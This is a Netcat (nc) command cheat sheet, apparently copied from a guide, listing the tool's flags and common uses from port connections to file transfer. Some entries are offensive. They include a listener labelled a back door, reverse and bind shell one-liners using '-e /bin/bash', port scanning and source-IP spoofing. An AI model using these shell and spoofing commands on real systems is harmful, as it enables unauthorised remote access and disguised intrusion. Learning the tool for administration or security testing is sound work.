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Net Cat

Netcat (nc) is a command line utility that can be used for network debugging and basic network utilities. It allows the user to establish TCP or UDP connections to ports on remote hosts or listen for inbound connections. Some key nc commands include connecting to ports on remote hosts, listening on ports for inbound connections, port scanning remote hosts, and transferring files between hosts using nc. The document provides examples of common nc commands and their usage.

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Net Cat

Netcat (nc) is a command line utility that can be used for network debugging and basic network utilities. It allows the user to establish TCP or UDP connections to ports on remote hosts or listen for inbound connections. Some key nc commands include connecting to ports on remote hosts, listening on ports for inbound connections, port scanning remote hosts, and transferring files between hosts using nc. The document provides examples of common nc commands and their usage.

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tep 2: Basic Netcat commands

-e prog inbound program to exec (dangerous!!)


-g gateway source-routing hop point(s), up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose (use twice to be more verbose)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)

port numbers can be individual or ranges: m-n (inclusive)


Connect to a port on
a remote host
nc remote_host <port>
Connect to multiple
ports on a remote host
nc remote_host <port>...<port>
For example:
nc www.somecompanyasanexample.com 21 25 80
Listen on a port for
incoming connections
(Also know as A Back Door)
nc -v -l -p <port>
Connect to remote host
and serve a bash shell
nc remote_ip <port> -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option
Listen on a port and
serve a bash shell
upon connect
nc -v -l -p <port> -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option
Port scan a remote
host

nc -v -z remote_host <port>-<port>
Use the -i flag to set a delay interval:
nc -i <seconds> -v -z remote_host
<port>-<port>
Pipe command output
to a netcat request
<command> | nc remote_host <port>
For example:
echo "GET / HTTP/1.0
(enter)
(enter)
"| nc www.somecompanyasanexample.com 80
Use source-routing to
connect to a port on a
remote host
nc -g <gateway> remote_host <port>
Note: Up to eight hop points may be specified using the -g flag.
Use the -G flag to specify the source-routing pointer.
Spoof source IP
address
Use the -s flag to spoof the source IP address:
nc -s spoofed_ip remote_host port
This command will cause the remote host to respond back to the
spoofed IP address. The -s flag can be used along with most of
the commands presented in this table.
Transfer a file
On the server host:
nc -v -l -p <port> < <file>

On the client host:


nc -v <server_host> <port> > <file>
It is also possible for the client host to listen on a port in order to
receive a file. To do this, run the following command on the client
host:
nc -v -l -p <port> > file
And run the following command on the server host:
nc -v <client_host> <port> < file
These can all be used by your netcat

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